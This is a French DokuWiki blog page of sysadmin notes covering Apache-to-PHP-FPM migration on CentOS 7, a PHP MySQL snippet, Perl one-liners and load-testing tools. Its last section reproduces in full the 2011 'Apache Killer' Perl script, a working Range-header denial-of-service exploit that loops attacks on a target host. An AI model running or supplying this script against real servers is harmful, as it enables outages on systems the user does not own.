Outils pour utilisateurs

Outils du site


blog

PHP-FPM RedHat7 CentOS7 Apache 2.4

Avant de passer en PHP-FPM nous avions ✈ :

/etc/httpd/conf.d/php.conf

#
# Cause the PHP interpreter to handle files with a .php extension.
#
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>
 
#
# Allow php to handle Multiviews
#
AddType text/html .php
 
#
# Add index.php to the list of files that will be served as directory
# indexes.
#
DirectoryIndex index.php
 
#
# Uncomment the following lines to allow PHP to pretty-print .phps
# files as PHP source code:
#
#<FilesMatch \.phps$>
#    SetHandler application/x-httpd-php-source
#</FilesMatch>
 
#
# Apache specific PHP configuration options
# those can be override in each configured vhost
#
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"
yum remove php
rm /etc/httpd/conf.d/php.conf
yum install php-fpm

Avec FPM

/etc/httpd/conf.d/php-fpm.conf

#
# PHP-FPM avec le compte php-monsiteweb (car 127.0.0.1:9001)
#
<FilesMatch \.php$>
    #SetHandler application/x-httpd-php
 
    # 2.4.10+ can proxy to unix socket
    # SetHandler "proxy:unix:/var/run/php5-fpm.sock|fcgi://localhost/"
 
    # Else we can just use a tcp socket:
    SetHandler "proxy:fcgi://127.0.0.1:9001"
</FilesMatch>
 
#
# Allow php to handle Multiviews
#
AddType text/html .php
 
#
# Add index.php to the list of files that will be served as directory
# indexes.
#
DirectoryIndex index.php

/etc/php-fpm.d/monsiteweb.conf

[monsiteweb]
#listen = /var/run/php5-fpm.sock
listen = 127.0.0.1:9001
 
listen.allowed_clients = 127.0.0.1
 
user  = php-monsiteweb
group = php-monsiteweb
 
#pm = dynamic
pm = ondemand
pm.max_children = 50
pm.start_servers = 5
pm.min_spare_servers = 5
pm.max_spare_servers = 35
 
# Pour debug
#catch_workers_output = yes
#php_flag[display_errors] = on
#php_admin_flag[log_errors] = on
#request_slowlog_timeout = 10s
#slowlog = /var/log/php-fpm/www-slow.log
 
php_admin_value[error_log] = /var/log/php-fpm/www-error.log
 
php_value[session.save_handler] = files
# Doit être accessible en écriture par l'utilisateur PHP-FPM (définie dans ce fichier "user = ")
php_value[session.save_path] = /var/lib/php/session/php-monsiteweb
 
php_value[date.timezone] = "Europe/Paris"
 
# A ajuster
php_value[memory_limit] = 64M
php_value[post_max_size] = 10M
php_value[max_execution_time] = 60
php_value[max_input_time] = 60
adduser --system --home /var/www/monsiteweb/ php-monsiteweb
mkdir /var/lib/php/session/php-monsiteweb
chown -R php-monsiteweb:php-monsiteweb /var/lib/php/session/php-monsiteweb
systemctl enable php-fpm.service
systemctl restart php-fpm.service
systemctl status php-fpm.service
2025/03/24 15:06

PHP MySQL snippet

<?php
        $serveur = "127.0.0.1";
        $login = "my_user";
        $pass = "my_password";
        $base = "my_db";
 
//$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "my_db");
$link = mysqli_connect($serveur, $login, $pass, $base);
 
if (!$link) {
    echo "Error: Unable to connect to MySQL." . PHP_EOL;
    echo "Debugging errno: " . mysqli_connect_errno() . PHP_EOL;
    echo "Debugging error: " . mysqli_connect_error() . PHP_EOL;
    exit;
}
 
echo "Success: A proper connection to MySQL was made! The my_db database is great." . PHP_EOL;
echo "Host information: " . mysqli_get_host_info($link) . PHP_EOL;
 
$resultat = $link->query ("SELECT id, titre, image_s FROM ARTICLES WHERE statut > 0 ORDER BY date DESC, id DESC LIMIT 0, 1");
$ligne = $resultat->fetch_assoc();
echo 'ID :'.$ligne["id"].'Titre : '.$ligne["titre"];
 
mysqli_close($link);
?>
2025/03/24 15:06

Photos

Logiciels de traitement de l'images

Logiciels éditeur :

Logiciel lecteur :

  • ristretto

Autres logiciels :

Web à la Google Photo :

  • Immich (WebUI & App Android)
2025/03/24 15:06

Perl one-liners

Supprimer tous les caractères non-imprimables (sauf les \n)

perl -lpe 's/[[:^print:]]+//g' fichier.txt

Enlever toutes les lignes en double (doublon)

perl -ne 'print unless $a{$_}++' fichier.txt

Afficher les lignes en double préfixés par leur numéro de ligne

perl -ne 'print "$. $_" if $a{$_}++' fichier.txt
2025/03/24 15:06

Perf test de charge

Liens :

Outils analyse :

  • atop
  • sar / sysstat
  • tload
  • munin

Outils charge :

  • jmeters
  • ab (apache)
  • artillery.io
  • gatling
  • script perl Apache Killer (Remote DOS Perl Script)
  • hey

Autre :

Jmeter

AB

Voir aussi :

Bloquer les attaques DOS

https://www.devside.net/wamp-server/load-testing-apache-with-ab-apache-bench

Exemple :

ab -n 1000 -c 5 http://acme.fr/
ab -r -n 100 -c 10 -k -H "Accept-Encoding: gzip, deflate" http://acme.fr/
ab -n 500 -c 100 -g out.data http://acme.fr/
ab -n 10 -c 5 -A utilisateur:P@ssw0rd http://acme.fr/

-n : nombre de requêtes\ -c : concurence, nombre de requête simultanées\ -k : HTTP KeepAlive\ -e apache.csv : Export les données dans un fihcier CSV\ -r : Ne pas se terminer si erreur sur le socket\ -f : Spécificer le protocol SSL/TLS\ -A : Authentification\ -C : cookie-name=value

Script Perl Apache Killer (Remote DOS Perl Script)

Source : http://seclists.org/fulldisclosure/2011/Aug/175

killapache_pl

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
 
use IO::Socket;
use Parallel::ForkManager;
 
sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}
 
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
 
$pm = new Parallel::ForkManager($numforks);
 
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}
 
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
 
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
 
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}
 
if ($#ARGV < 0) {
	usage;
	exit;	
}
 
if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}
 
$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}
2025/03/24 15:06
blog.txt · Dernière modification : de 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki